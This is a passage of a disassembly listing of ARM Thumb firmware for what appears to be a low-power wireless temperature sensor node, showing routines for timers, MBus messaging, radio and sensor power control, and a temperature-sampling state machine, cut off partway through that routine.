00000090 <_start>:
90: f000 fc40 bl 914 <main>
94: e7fc b.n 90 <_start>
Disassembly of section .text.delay:
00000096 <delay>:
96: b500 push {lr}
98: 2300 movs r3, #0
9a: e001 b.n a0 <delay+0xa>
9c: 46c0 nop ; (mov r8, r8)
9e: 3301 adds r3, #1
a0: 4283 cmp r3, r0
a2: d1fb bne.n 9c <delay+0x6>
a4: bd00 pop {pc}
Disassembly of section .text.config_timerwd:
000000a8 <config_timerwd>:
a8: 4b03 ldr r3, [pc, #12] ; (b8 <config_timerwd+0x10>)
aa: 2200 movs r2, #0
ac: 601a str r2, [r3, #0]
ae: 4a03 ldr r2, [pc, #12] ; (bc <config_timerwd+0x14>)
b0: 6010 str r0, [r2, #0]
b2: 2201 movs r2, #1
b4: 601a str r2, [r3, #0]
b6: 4770 bx lr
b8: a0001200 .word 0xa0001200
bc: a0001204 .word 0xa0001204
Disassembly of section .text.set_wakeup_timer:
000000c0 <set_wakeup_timer>:
c0: b500 push {lr}
c2: 2900 cmp r1, #0
c4: d003 beq.n ce <set_wakeup_timer+0xe>
c6: 23c0 movs r3, #192 ; 0xc0
c8: 029b lsls r3, r3, #10
ca: 4318 orrs r0, r3
cc: e001 b.n d2 <set_wakeup_timer+0x12>
ce: 0440 lsls r0, r0, #17
d0: 0c40 lsrs r0, r0, #17
d2: 4b04 ldr r3, [pc, #16] ; (e4 <set_wakeup_timer+0x24>)
d4: 6018 str r0, [r3, #0]
d6: 2a00 cmp r2, #0
d8: d002 beq.n e0 <set_wakeup_timer+0x20>
da: 4b03 ldr r3, [pc, #12] ; (e8 <set_wakeup_timer+0x28>)
dc: 2201 movs r2, #1
de: 601a str r2, [r3, #0]
e0: bd00 pop {pc}
e2: 46c0 nop ; (mov r8, r8)
e4: a0000044 .word 0xa0000044
e8: a0001300 .word 0xa0001300
Disassembly of section .text.enable_reg_irq:
000000ec <enable_reg_irq>:
ec: 4b04 ldr r3, [pc, #16] ; (100 <enable_reg_irq+0x14>)
ee: 2201 movs r2, #1
f0: 4252 negs r2, r2
f2: 601a str r2, [r3, #0]
f4: 4b03 ldr r3, [pc, #12] ; (104 <enable_reg_irq+0x18>)
f6: 22ff movs r2, #255 ; 0xff
f8: 0092 lsls r2, r2, #2
fa: 601a str r2, [r3, #0]
fc: 4770 bx lr
fe: 46c0 nop ; (mov r8, r8)
100: e000e280 .word 0xe000e280
104: e000e100 .word 0xe000e100
Disassembly of section .text.set_halt_until_mbus_rx:
00000108 <set_halt_until_mbus_rx>:
108: 4b04 ldr r3, [pc, #16] ; (11c <set_halt_until_mbus_rx+0x14>)
10a: 4a05 ldr r2, [pc, #20] ; (120 <set_halt_until_mbus_rx+0x18>)
10c: 6819 ldr r1, [r3, #0]
10e: 400a ands r2, r1
110: 2190 movs r1, #144 ; 0x90
112: 0209 lsls r1, r1, #8
114: 430a orrs r2, r1
116: 601a str r2, [r3, #0]
118: 4770 bx lr
11a: 46c0 nop ; (mov r8, r8)
11c: a0000028 .word 0xa0000028
120: ffff0fff .word 0xffff0fff
Disassembly of section .text.set_halt_until_mbus_tx:
00000124 <set_halt_until_mbus_tx>:
124: 4b04 ldr r3, [pc, #16] ; (138 <set_halt_until_mbus_tx+0x14>)
126: 4a05 ldr r2, [pc, #20] ; (13c <set_halt_until_mbus_tx+0x18>)
128: 6819 ldr r1, [r3, #0]
12a: 400a ands r2, r1
12c: 21a0 movs r1, #160 ; 0xa0
12e: 0209 lsls r1, r1, #8
130: 430a orrs r2, r1
132: 601a str r2, [r3, #0]
134: 4770 bx lr
136: 46c0 nop ; (mov r8, r8)
138: a0000028 .word 0xa0000028
13c: ffff0fff .word 0xffff0fff
Disassembly of section .text.mbus_write_message32:
00000140 <mbus_write_message32>:
140: 4b02 ldr r3, [pc, #8] ; (14c <mbus_write_message32+0xc>)
142: 0100 lsls r0, r0, #4
144: 4318 orrs r0, r3
146: 6001 str r1, [r0, #0]
148: 2001 movs r0, #1
14a: 4770 bx lr
14c: a0003000 .word 0xa0003000
Disassembly of section .text.mbus_write_message:
00000150 <mbus_write_message>:
150: 2300 movs r3, #0
152: b500 push {lr}
154: 429a cmp r2, r3
156: d00a beq.n 16e <mbus_write_message+0x1e>
158: 4b06 ldr r3, [pc, #24] ; (174 <mbus_write_message+0x24>)
15a: 3a01 subs r2, #1
15c: 0600 lsls r0, r0, #24
15e: 4302 orrs r2, r0
160: 601a str r2, [r3, #0]
162: 4b05 ldr r3, [pc, #20] ; (178 <mbus_write_message+0x28>)
164: 2223 movs r2, #35 ; 0x23
166: 6019 str r1, [r3, #0]
168: 4b04 ldr r3, [pc, #16] ; (17c <mbus_write_message+0x2c>)
16a: 601a str r2, [r3, #0]
16c: 2301 movs r3, #1
16e: 1c18 adds r0, r3, #0
170: bd00 pop {pc}
172: 46c0 nop ; (mov r8, r8)
174: a0002000 .word 0xa0002000
178: a0002004 .word 0xa0002004
17c: a000200c .word 0xa000200c
Disassembly of section .text.mbus_enumerate:
00000180 <mbus_enumerate>:
180: 0603 lsls r3, r0, #24
182: 2080 movs r0, #128 ; 0x80
184: 0580 lsls r0, r0, #22
186: 4318 orrs r0, r3
188: 4b01 ldr r3, [pc, #4] ; (190 <mbus_enumerate+0x10>)
18a: 6018 str r0, [r3, #0]
18c: 4770 bx lr
18e: 46c0 nop ; (mov r8, r8)
190: a0003000 .word 0xa0003000
Disassembly of section .text.mbus_sleep_all:
00000194 <mbus_sleep_all>:
194: 4b01 ldr r3, [pc, #4] ; (19c <mbus_sleep_all+0x8>)
196: 2200 movs r2, #0
198: 601a str r2, [r3, #0]
19a: 4770 bx lr
19c: a0003010 .word 0xa0003010
Disassembly of section .text.mbus_remote_register_write:
000001a0 <mbus_remote_register_write>:
1a0: b507 push {r0, r1, r2, lr}
1a2: 0212 lsls r2, r2, #8
1a4: 0a12 lsrs r2, r2, #8
1a6: 0609 lsls r1, r1, #24
1a8: 4311 orrs r1, r2
1aa: 0100 lsls r0, r0, #4
1ac: 9101 str r1, [sp, #4]
1ae: b2c0 uxtb r0, r0
1b0: a901 add r1, sp, #4
1b2: 2201 movs r2, #1
1b4: f7ff ffcc bl 150 <mbus_write_message>
1b8: bd07 pop {r0, r1, r2, pc}
Disassembly of section .text.radio_power_off:
000001bc <radio_power_off>:
1bc: 4a15 ldr r2, [pc, #84] ; (214 <radio_power_off+0x58>)
1be: b508 push {r3, lr}
1c0: 2300 movs r3, #0
1c2: 6013 str r3, [r2, #0]
1c4: 4a14 ldr r2, [pc, #80] ; (218 <radio_power_off+0x5c>)
1c6: 2004 movs r0, #4
1c8: 6013 str r3, [r2, #0]
1ca: 4b14 ldr r3, [pc, #80] ; (21c <radio_power_off+0x60>)
1cc: 4a14 ldr r2, [pc, #80] ; (220 <radio_power_off+0x64>)
1ce: 6819 ldr r1, [r3, #0]
1d0: 400a ands r2, r1
1d2: 601a str r2, [r3, #0]
1d4: 6819 ldr r1, [r3, #0]
1d6: 2280 movs r2, #128 ; 0x80
1d8: 02d2 lsls r2, r2, #11
1da: 430a orrs r2, r1
1dc: 601a str r2, [r3, #0]
1de: 681a ldr r2, [r3, #0]
1e0: 2102 movs r1, #2
1e2: f7ff ffdd bl 1a0 <mbus_remote_register_write>
1e6: 4b0f ldr r3, [pc, #60] ; (224 <radio_power_off+0x68>)
1e8: 2101 movs r1, #1
1ea: 881a ldrh r2, [r3, #0]
1ec: 2004 movs r0, #4
1ee: 430a orrs r2, r1
1f0: 801a strh r2, [r3, #0]
1f2: 881a ldrh r2, [r3, #0]
1f4: 2102 movs r1, #2
1f6: 430a orrs r2, r1
1f8: 801a strh r2, [r3, #0]
1fa: 881a ldrh r2, [r3, #0]
1fc: 2108 movs r1, #8
1fe: 4382 bics r2, r0
200: 801a strh r2, [r3, #0]
202: 881a ldrh r2, [r3, #0]
204: 438a bics r2, r1
206: 801a strh r2, [r3, #0]
208: 681a ldr r2, [r3, #0]
20a: 210d movs r1, #13
20c: f7ff ffc8 bl 1a0 <mbus_remote_register_write>
210: bd08 pop {r3, pc}
212: 46c0 nop ; (mov r8, r8)
214: 000013c0 .word 0x000013c0
218: 00001370 .word 0x00001370
21c: 00001338 .word 0x00001338
220: fff7ffff .word 0xfff7ffff
224: 00001330 .word 0x00001330
Disassembly of section .text.ldo_power_off:
00000228 <ldo_power_off>:
228: b508 push {r3, lr}
22a: 4b08 ldr r3, [pc, #32] ; (24c <ldo_power_off+0x24>)
22c: 2280 movs r2, #128 ; 0x80
22e: 6819 ldr r1, [r3, #0]
230: 0152 lsls r2, r2, #5
232: 430a orrs r2, r1
234: 601a str r2, [r3, #0]
236: 6819 ldr r1, [r3, #0]
238: 2280 movs r2, #128 ; 0x80
23a: 0112 lsls r2, r2, #4
23c: 430a orrs r2, r1
23e: 601a str r2, [r3, #0]
240: 681a ldr r2, [r3, #0]
242: 2005 movs r0, #5
244: 2112 movs r1, #18
246: f7ff ffab bl 1a0 <mbus_remote_register_write>
24a: bd08 pop {r3, pc}
24c: 00001358 .word 0x00001358
Disassembly of section .text.temp_power_off:
00000250 <temp_power_off>:
250: b508 push {r3, lr}
252: 4b0b ldr r3, [pc, #44] ; (280 <temp_power_off+0x30>)
254: 2280 movs r2, #128 ; 0x80
256: 6819 ldr r1, [r3, #0]
258: 0252 lsls r2, r2, #9
25a: 430a orrs r2, r1
25c: 601a str r2, [r3, #0]
25e: 6819 ldr r1, [r3, #0]
260: 4a08 ldr r2, [pc, #32] ; (284 <temp_power_off+0x34>)
262: 2005 movs r0, #5
264: 400a ands r2, r1
266: 601a str r2, [r3, #0]
268: 6819 ldr r1, [r3, #0]
26a: 2280 movs r2, #128 ; 0x80
26c: 0392 lsls r2, r2, #14
26e: 430a orrs r2, r1
270: 601a str r2, [r3, #0]
272: 681a ldr r2, [r3, #0]
274: 210e movs r1, #14
276: f7ff ff93 bl 1a0 <mbus_remote_register_write>
27a: f7ff ffd5 bl 228 <ldo_power_off>
27e: bd08 pop {r3, pc}
280: 0000134c .word 0x0000134c
284: ffbfffff .word 0xffbfffff
Disassembly of section .text.unlikely.batadc_reset:
00000288 <batadc_reset>:
288: b508 push {r3, lr}
28a: 2006 movs r0, #6
28c: 213b movs r1, #59 ; 0x3b
28e: 4a03 ldr r2, [pc, #12] ; (29c <batadc_reset+0x14>)
290: f7ff ff86 bl 1a0 <mbus_remote_register_write>
294: 2064 movs r0, #100 ; 0x64
296: f7ff fefe bl 96 <delay>
29a: bd08 pop {r3, pc}
29c: 000fe7ff .word 0x000fe7ff
Disassembly of section .text.batadc_resetrelease:
000002a0 <batadc_resetrelease>:
2a0: b508 push {r3, lr}
2a2: 2006 movs r0, #6
2a4: 213b movs r1, #59 ; 0x3b
2a6: 4a03 ldr r2, [pc, #12] ; (2b4 <batadc_resetrelease+0x14>)
2a8: f7ff ff7a bl 1a0 <mbus_remote_register_write>
2ac: 2064 movs r0, #100 ; 0x64
2ae: f7ff fef2 bl 96 <delay>
2b2: bd08 pop {r3, pc}
2b4: 000fefff .word 0x000fefff
Disassembly of section .text.reset_pmu_solar_short:
000002b8 <reset_pmu_solar_short>:
2b8: b510 push {r4, lr}
2ba: 24c2 movs r4, #194 ; 0xc2
2bc: 00e4 lsls r4, r4, #3
2be: 1c22 adds r2, r4, #0
2c0: 210e movs r1, #14
2c2: 2006 movs r0, #6
2c4: f7ff ff6c bl 1a0 <mbus_remote_register_write>
2c8: 2064 movs r0, #100 ; 0x64
2ca: f7ff fee4 bl 96 <delay>
2ce: 1c22 adds r2, r4, #0
2d0: 210e movs r1, #14
2d2: 2006 movs r0, #6
2d4: f7ff ff64 bl 1a0 <mbus_remote_register_write>
2d8: 2064 movs r0, #100 ; 0x64
2da: f7ff fedc bl 96 <delay>
2de: 2282 movs r2, #130 ; 0x82
2e0: 210e movs r1, #14
2e2: 00d2 lsls r2, r2, #3
2e4: 2006 movs r0, #6
2e6: f7ff ff5b bl 1a0 <mbus_remote_register_write>
2ea: 2064 movs r0, #100 ; 0x64
2ec: f7ff fed3 bl 96 <delay>
2f0: bd10 pop {r4, pc}
Disassembly of section .text.radio_power_on:
000002f4 <radio_power_on>:
2f4: b538 push {r3, r4, r5, lr}
2f6: 4b1d ldr r3, [pc, #116] ; (36c <radio_power_on+0x78>)
2f8: 2200 movs r2, #0
2fa: 601a str r2, [r3, #0]
2fc: 4a1c ldr r2, [pc, #112] ; (370 <radio_power_on+0x7c>)
2fe: 4c1d ldr r4, [pc, #116] ; (374 <radio_power_on+0x80>)
300: 2301 movs r3, #1
302: 6013 str r3, [r2, #0]
304: 8822 ldrh r2, [r4, #0]
306: 210d movs r1, #13
308: 439a bics r2, r3
30a: 8022 strh r2, [r4, #0]
30c: 6822 ldr r2, [r4, #0]
30e: 2004 movs r0, #4
310: f7ff ff46 bl 1a0 <mbus_remote_register_write>
314: 2064 movs r0, #100 ; 0x64
316: f7ff febe bl 96 <delay>
31a: 4d17 ldr r5, [pc, #92] ; (378 <radio_power_on+0x84>)
31c: 4b17 ldr r3, [pc, #92] ; (37c <radio_power_on+0x88>)
31e: 682a ldr r2, [r5, #0]
320: 2102 movs r1, #2
322: 4013 ands r3, r2
324: 602b str r3, [r5, #0]
326: 682a ldr r2, [r5, #0]
328: 2004 movs r0, #4
32a: f7ff ff39 bl 1a0 <mbus_remote_register_write>
32e: 2096 movs r0, #150 ; 0x96
330: 0040 lsls r0, r0, #1
332: f7ff feb0 bl 96 <delay>
336: 682a ldr r2, [r5, #0]
338: 2380 movs r3, #128 ; 0x80
33a: 031b lsls r3, r3, #12
33c: 4313 orrs r3, r2
33e: 602b str r3, [r5, #0]
340: 682a ldr r2, [r5, #0]
342: 2102 movs r1, #2
344: 2004 movs r0, #4
346: f7ff ff2b bl 1a0 <mbus_remote_register_write>
34a: 2064 movs r0, #100 ; 0x64
34c: f7ff fea3 bl 96 <delay>
350: 8823 ldrh r3, [r4, #0]
352: 2202 movs r2, #2
354: 4393 bics r3, r2
356: 8023 strh r3, [r4, #0]
358: 6822 ldr r2, [r4, #0]
35a: 210d movs r1, #13
35c: 2004 movs r0, #4
35e: f7ff ff1f bl 1a0 <mbus_remote_register_write>
362: 2064 movs r0, #100 ; 0x64
364: f7ff fe97 bl 96 <delay>
368: bd38 pop {r3, r4, r5, pc}
36a: 46c0 nop ; (mov r8, r8)
36c: 00001370 .word 0x00001370
370: 000013c0 .word 0x000013c0
374: 00001330 .word 0x00001330
378: 00001338 .word 0x00001338
37c: fffbffff .word 0xfffbffff
Disassembly of section .text.operation_sleep_notimer:
00000380 <operation_sleep_notimer>:
380: b508 push {r3, lr}
382: f7ff ff51 bl 228 <ldo_power_off>
386: 4b08 ldr r3, [pc, #32] ; (3a8 <operation_sleep_notimer+0x28>)
388: 681b ldr r3, [r3, #0]
38a: 2b00 cmp r3, #0
38c: d001 beq.n 392 <operation_sleep_notimer+0x12>
38e: f7ff ff15 bl 1bc <radio_power_off>
392: 2000 movs r0, #0
394: 1c02 adds r2, r0, #0
396: 1c01 adds r1, r0, #0
398: f7ff fe92 bl c0 <set_wakeup_timer>
39c: 2200 movs r2, #0
39e: 2378 movs r3, #120 ; 0x78
3a0: 601a str r2, [r3, #0]
3a2: f7ff fef7 bl 194 <mbus_sleep_all>
3a6: e7fe b.n 3a6 <operation_sleep_notimer+0x26>
3a8: 000013c0 .word 0x000013c0
Disassembly of section .text.send_radio_data_ppm:
000003ac <send_radio_data_ppm>:
3ac: b570 push {r4, r5, r6, lr}
3ae: 4b2b ldr r3, [pc, #172] ; (45c <send_radio_data_ppm+0xb0>)
3b0: 020a lsls r2, r1, #8
3b2: 6819 ldr r1, [r3, #0]
3b4: 0a12 lsrs r2, r2, #8
3b6: 0e09 lsrs r1, r1, #24
3b8: 0609 lsls r1, r1, #24
3ba: 4311 orrs r1, r2
3bc: 6019 str r1, [r3, #0]
3be: 681a ldr r2, [r3, #0]
3c0: 1c05 adds r5, r0, #0
3c2: 2103 movs r1, #3
3c4: 2004 movs r0, #4
3c6: f7ff feeb bl 1a0 <mbus_remote_register_write>
3ca: 4b25 ldr r3, [pc, #148] ; (460 <send_radio_data_ppm+0xb4>)
3cc: 681a ldr r2, [r3, #0]
3ce: 2a00 cmp r2, #0
3d0: d10d bne.n 3ee <send_radio_data_ppm+0x42>
3d2: 2201 movs r2, #1
3d4: 601a str r2, [r3, #0]
3d6: 4b23 ldr r3, [pc, #140] ; (464 <send_radio_data_ppm+0xb8>)
3d8: 2004 movs r0, #4
3da: 881a ldrh r2, [r3, #0]
3dc: 210d movs r1, #13
3de: 4302 orrs r2, r0
3e0: 801a strh r2, [r3, #0]
3e2: 681a ldr r2, [r3, #0]
3e4: f7ff fedc bl 1a0 <mbus_remote_register_write>
3e8: 2064 movs r0, #100 ; 0x64
3ea: f7ff fe54 bl 96 <delay>
3ee: f7ff fe8b bl 108 <set_halt_until_mbus_rx>
3f2: 4e1d ldr r6, [pc, #116] ; (468 <send_radio_data_ppm+0xbc>)
3f4: 2300 movs r3, #0
3f6: 6033 str r3, [r6, #0]
3f8: 4b1a ldr r3, [pc, #104] ; (464 <send_radio_data_ppm+0xb8>)
3fa: 2108 movs r1, #8
3fc: 881a ldrh r2, [r3, #0]
3fe: 2004 movs r0, #4
400: 430a orrs r2, r1
402: 801a strh r2, [r3, #0]
404: 681a ldr r2, [r3, #0]
406: 210d movs r1, #13
408: f7ff feca bl 1a0 <mbus_remote_register_write>
40c: 2432 movs r4, #50 ; 0x32
40e: 6833 ldr r3, [r6, #0]
410: 2b00 cmp r3, #0
412: d015 beq.n 440 <send_radio_data_ppm+0x94>
414: f7ff fe86 bl 124 <set_halt_until_mbus_tx>
418: 2300 movs r3, #0
41a: 6033 str r3, [r6, #0]
41c: 429d cmp r5, r3
41e: d004 beq.n 42a <send_radio_data_ppm+0x7e>
420: 4a0f ldr r2, [pc, #60] ; (460 <send_radio_data_ppm+0xb4>)
422: 6013 str r3, [r2, #0]
424: f7ff feca bl 1bc <radio_power_off>
428: e016 b.n 458 <send_radio_data_ppm+0xac>
42a: 4b0e ldr r3, [pc, #56] ; (464 <send_radio_data_ppm+0xb8>)
42c: 2108 movs r1, #8
42e: 881a ldrh r2, [r3, #0]
430: 2004 movs r0, #4
432: 438a bics r2, r1
434: 801a strh r2, [r3, #0]
436: 681a ldr r2, [r3, #0]
438: 210d movs r1, #13
43a: f7ff feb1 bl 1a0 <mbus_remote_register_write>
43e: e00b b.n 458 <send_radio_data_ppm+0xac>
440: 2064 movs r0, #100 ; 0x64
442: 3c01 subs r4, #1
444: f7ff fe27 bl 96 <delay>
448: 2c00 cmp r4, #0
44a: d1e0 bne.n 40e <send_radio_data_ppm+0x62>
44c: f7ff fe6a bl 124 <set_halt_until_mbus_tx>
450: 20bb movs r0, #187 ; 0xbb
452: 4906 ldr r1, [pc, #24] ; (46c <send_radio_data_ppm+0xc0>)
454: f7ff fe74 bl 140 <mbus_write_message32>
458: bd70 pop {r4, r5, r6, pc}
45a: 46c0 nop ; (mov r8, r8)
45c: 00001a04 .word 0x00001a04
460: 00001370 .word 0x00001370
464: 00001330 .word 0x00001330
468: 000013a4 .word 0x000013a4
46c: fafafafa .word 0xfafafafa
Disassembly of section .text.operation_temp_run:
00000470 <operation_temp_run>:
470: b538 push {r3, r4, r5, lr}
472: 4bb9 ldr r3, [pc, #740] ; (758 <operation_temp_run+0x2e8>)
474: 681a ldr r2, [r3, #0]
476: 2a00 cmp r2, #0
478: d122 bne.n 4c0 <operation_temp_run+0x50>
47a: 2101 movs r1, #1
47c: 6019 str r1, [r3, #0]
47e: 4bb7 ldr r3, [pc, #732] ; (75c <operation_temp_run+0x2ec>)
480: 601a str r2, [r3, #0]
482: 4bb7 ldr r3, [pc, #732] ; (760 <operation_temp_run+0x2f0>)
484: 681b ldr r3, [r3, #0]
486: 2b00 cmp r3, #0
488: d104 bne.n 494 <operation_temp_run+0x24>
48a: 4bb6 ldr r3, [pc, #728] ; (764 <operation_temp_run+0x2f4>)
48c: 681b ldr r3, [r3, #0]
48e: 185b adds r3, r3, r1
490: 2b04 cmp r3, #4
492: d801 bhi.n 498 <operation_temp_run+0x28>
494: f7ff ff2e bl 2f4 <radio_power_on>
498: 4bb3 ldr r3, [pc, #716] ; (768 <operation_temp_run+0x2f8>)
49a: 4ab4 ldr r2, [pc, #720] ; (76c <operation_temp_run+0x2fc>)
49c: 6819 ldr r1, [r3, #0]
49e: 2005 movs r0, #5
4a0: 400a ands r2, r1
4a2: 601a str r2, [r3, #0]
4a4: 681a ldr r2, [r3, #0]
4a6: 2112 movs r1, #18
4a8: f7ff fe7a bl 1a0 <mbus_remote_register_write>
4ac: 4bb0 ldr r3, [pc, #704] ; (770 <operation_temp_run+0x300>)
4ae: 2101 movs r1, #1
4b0: 6818 ldr r0, [r3, #0]
4b2: 1c0a adds r2, r1, #0
4b4: b280 uxth r0, r0
4b6: f7ff fe03 bl c0 <set_wakeup_timer>
4ba: f7ff fe6b bl 194 <mbus_sleep_all>
4be: e7fe b.n 4be <operation_temp_run+0x4e>
4c0: 681c ldr r4, [r3, #0]
4c2: 2c01 cmp r4, #1
4c4: d115 bne.n 4f2 <operation_temp_run+0x82>
4c6: 2203 movs r2, #3
4c8: 601a str r2, [r3, #0]
4ca: 4ba7 ldr r3, [pc, #668] ; (768 <operation_temp_run+0x2f8>)
4cc: 4aa9 ldr r2, [pc, #676] ; (774 <operation_temp_run+0x304>)
4ce: 6819 ldr r1, [r3, #0]
4d0: 2005 movs r0, #5
4d2: 400a ands r2, r1
4d4: 601a str r2, [r3, #0]
4d6: 681a ldr r2, [r3, #0]
4d8: 2112 movs r1, #18
4da: f7ff fe61 bl 1a0 <mbus_remote_register_write>
4de: 4ba4 ldr r3, [pc, #656] ; (770 <operation_temp_run+0x300>)
4e0: 1c21 adds r1, r4, #0
4e2: 6818 ldr r0, [r3, #0]
4e4: 1c22 adds r2, r4, #0
4e6: b280 uxth r0, r0
4e8: f7ff fdea bl c0 <set_wakeup_timer>
4ec: f7ff fe52 bl 194 <mbus_sleep_all>
4f0: e7fe b.n 4f0 <operation_temp_run+0x80>
4f2: 681a ldr r2, [r3, #0]
4f4: 2a03 cmp r2, #3
4f6: d124 bne.n 542 <operation_temp_run+0xd2>
4f8: 4c9f ldr r4, [pc, #636] ; (778 <operation_temp_run+0x308>)
4fa: 2202 movs r2, #2
4fc: 601a str r2, [r3, #0]
4fe: 6822 ldr r2, [r4, #0]
500: 2380 movs r3, #128 ; 0x80
502: 03db lsls r3, r3, #15
504: 4313 orrs r3, r2
506: 6023 str r3, [r4, #0]
508: 6822 ldr r2, [r4, #0]
50a: 4b9c ldr r3, [pc, #624] ; (77c <operation_temp_run+0x30c>)
50c: 210e movs r1, #14
50e: 4013 ands r3, r2
510: 6023 str r3, [r4, #0]
512: 6822 ldr r2, [r4, #0]
514: 2005 movs r0, #5
516: f7ff fe43 bl 1a0 <mbus_remote_register_write>
51a: 2064 movs r0, #100 ; 0x64
51c: f7ff fdbb bl 96 <delay>
520: 6822 ldr r2, [r4, #0]
522: 4b97 ldr r3, [pc, #604] ; (780 <operation_temp_run+0x310>)
524: 2005 movs r0, #5
526: 4013 ands r3, r2
528: 6023 str r3, [r4, #0]
52a: 6822 ldr r2, [r4, #0]
52c: 210e movs r1, #14
52e: f7ff fe37 bl 1a0 <mbus_remote_register_write>
532: 2101 movs r1, #1
534: 200a movs r0, #10
536: 1c0a adds r2, r1, #0
538: f7ff fdc2 bl c0 <set_wakeup_timer>
53c: f7ff fe2a bl 194 <mbus_sleep_all>
540: e7fe b.n 540 <operation_temp_run+0xd0>
542: 681a ldr r2, [r3, #0]
544: 2a02 cmp r2, #2
546: d11f bne.n 588 <operation_temp_run+0x118>
548: 4d8e ldr r5, [pc, #568] ; (784 <operation_temp_run+0x314>)
54a: 2300 movs r3, #0
54c: 4c8e ldr r4, [pc, #568] ; (788 <operation_temp_run+0x318>)
54e: 602b str r3, [r5, #0]
550: 682b ldr r3, [r5, #0]
552: 2b00 cmp r3, #0
554: d004 beq.n 560 <operation_temp_run+0xf0>
556: 4a81 ldr r2, [pc, #516] ; (75c <operation_temp_run+0x2ec>)
558: 2300 movs r3, #0
55a: 602b str r3, [r5, #0]
55c: 6013 str r3, [r2, #0]
55e: e00f b.n 580 <operation_temp_run+0x110>
560: 200a movs r0, #10
562: f7ff fd98 bl 96 <delay>
566: 3c01 subs r4, #1
568: 4888 ldr r0, [pc, #544] ; (78c <operation_temp_run+0x31c>)
56a: f7ff fd9d bl a8 <config_timerwd>
56e: 2c00 cmp r4, #0
570: d1ee bne.n 550 <operation_temp_run+0xe0>
572: 20fa movs r0, #250 ; 0xfa
574: 4986 ldr r1, [pc, #536] ; (790 <operation_temp_run+0x320>)
576: f7ff fde3 bl 140 <mbus_write_message32>
57a: 4b78 ldr r3, [pc, #480] ; (75c <operation_temp_run+0x2ec>)
57c: 2201 movs r2, #1
57e: 601a str r2, [r3, #0]
580: 4b75 ldr r3, [pc, #468] ; (758 <operation_temp_run+0x2e8>)
582: 2206 movs r2, #6
584: 601a str r2, [r3, #0]
586: e0e5 b.n 754 <operation_temp_run+0x2e4>
588: 681b ldr r3, [r3, #0]
58a: 2b06 cmp r3, #6
58c: d000 beq.n 590 <operation_temp_run+0x120>
58e: e0ce b.n 72e <operation_temp_run+0x2be>
590: 4b72 ldr r3, [pc, #456] ; (75c <operation_temp_run+0x2ec>)
592: 4a80 ldr r2, [pc, #512] ; (794 <operation_temp_run+0x324>)
594: 681b ldr r3, [r3, #0]
596: 2b00 cmp r3, #0
598: d002 beq.n 5a0 <operation_temp_run+0x130>
59a: 4b7f ldr r3, [pc, #508] ; (798 <operation_temp_run+0x328>)
59c: 6013 str r3, [r2, #0]
59e: e002 b.n 5a6 <operation_temp_run+0x136>
5a0: 6811 ldr r1, [r2, #0]
5a2: 4b7e ldr r3, [pc, #504] ; (79c <operation_temp_run+0x32c>)
5a4: 6019 str r1, [r3, #0]
5a6: 4b7e ldr r3, [pc, #504] ; (7a0 <operation_temp_run+0x330>)
5a8: 4c6b ldr r4, [pc, #428] ; (758 <operation_temp_run+0x2e8>)
5aa: 6819 ldr r1, [r3, #0]
5ac: 2904 cmp r1, #4
5ae: d80a bhi.n 5c6 <operation_temp_run+0x156>
5b0: 6819 ldr r1, [r3, #0]
5b2: 6810 ldr r0, [r2, #0]
5b4: 4a7b ldr r2, [pc, #492] ; (7a4 <operation_temp_run+0x334>)
5b6: 0089 lsls r1, r1, #2
5b8: 5088 str r0, [r1, r2]
5ba: 681a ldr r2, [r3, #0]
5bc: 3201 adds r2, #1
5be: 601a str r2, [r3, #0]
5c0: 2302 movs r3, #2
5c2: 6023 str r3, [r4, #0]
5c4: e0c6 b.n 754 <operation_temp_run+0x2e4>
5c6: 2500 movs r5, #0
5c8: 601d str r5, [r3, #0]
5ca: f7ff fe41 bl 250 <temp_power_off>
5ce: 6025 str r5, [r4, #0]
5d0: 4d64 ldr r5, [pc, #400] ; (764 <operation_temp_run+0x2f4>)
5d2: 20cc movs r0, #204 ; 0xcc
5d4: 6829 ldr r1, [r5, #0]
5d6: f7ff fdb3 bl 140 <mbus_write_message32>
5da: 2064 movs r0, #100 ; 0x64
5dc: f7ff fd5b bl 96 <delay>
5e0: 4b71 ldr r3, [pc, #452] ; (7a8 <operation_temp_run+0x338>)
5e2: 20cc movs r0, #204 ; 0xcc
5e4: 6819 ldr r1, [r3, #0]
5e6: f7ff fdab bl 140 <mbus_write_message32>
5ea: 2064 movs r0, #100 ; 0x64
5ec: f7ff fd53 bl 96 <delay>
5f0: 4c6c ldr r4, [pc, #432] ; (7a4 <operation_temp_run+0x334>)
5f2: 20c0 movs r0, #192 ; 0xc0
5f4: 6821 ldr r1, [r4, #0]
5f6: f7ff fda3 bl 140 <mbus_write_message32>
5fa: 2064 movs r0, #100 ; 0x64
5fc: f7ff fd4b bl 96 <delay>
600: 6861 ldr r1, [r4, #4]
602: 20c1 movs r0, #193 ; 0xc1
604: f7ff fd9c bl 140 <mbus_write_message32>
608: 2064 movs r0, #100 ; 0x64
60a: f7ff fd44 bl 96 <delay>
60e: 68a1 ldr r1, [r4, #8]
610: 20c2 movs r0, #194 ; 0xc2
612: f7ff fd95 bl 140 <mbus_write_message32>
616: 2064 movs r0, #100 ; 0x64
618: f7ff fd3d bl 96 <delay>
61c: 68e1 ldr r1, [r4, #12]
61e: 20c3 movs r0, #195 ; 0xc3
620: f7ff fd8e bl 140 <mbus_write_message32>
624: 2064 movs r0, #100 ; 0x64
626: f7ff fd36 bl 96 <delay>
62a: 6921 ldr r1, [r4, #16]
62c: 20c4 movs r0, #196 ; 0xc4
62e: f7ff fd87 bl 140 <mbus_write_message32>
632: 682b ldr r3, [r5, #0]
634: 4a5d ldr r2, [pc, #372] ; (7ac <operation_temp_run+0x33c>)
636: 3301 adds r3, #1
638: 602b str r3, [r5, #0]
63a: 4b5d ldr r3, [pc, #372] ; (7b0 <operation_temp_run+0x340>)
63c: 6819 ldr r1, [r3, #0]
63e: 4291 cmp r1, r2
640: d80b bhi.n 65a <operation_temp_run+0x1ea>
642: 4a54 ldr r2, [pc, #336] ; (794 <operation_temp_run+0x324>)
644: 6819 ldr r1, [r3, #0]
646: 6810 ldr r0, [r2, #0]
648: 4a5a ldr r2, [pc, #360] ; (7b4 <operation_temp_run+0x344>)
64a: 0089 lsls r1, r1, #2
64c: 5088 str r0, [r1, r2]
64e: 6819 ldr r1, [r3, #0]
650: 4a59 ldr r2, [pc, #356] ; (7b8 <operation_temp_run+0x348>)
652: 6011 str r1, [r2, #0]
654: 681a ldr r2, [r3, #0]
656: 3201 adds r2, #1
658: 601a str r2, [r3, #0]
65a: 4b41 ldr r3, [pc, #260] ; (760 <operation_temp_run+0x2f0>)
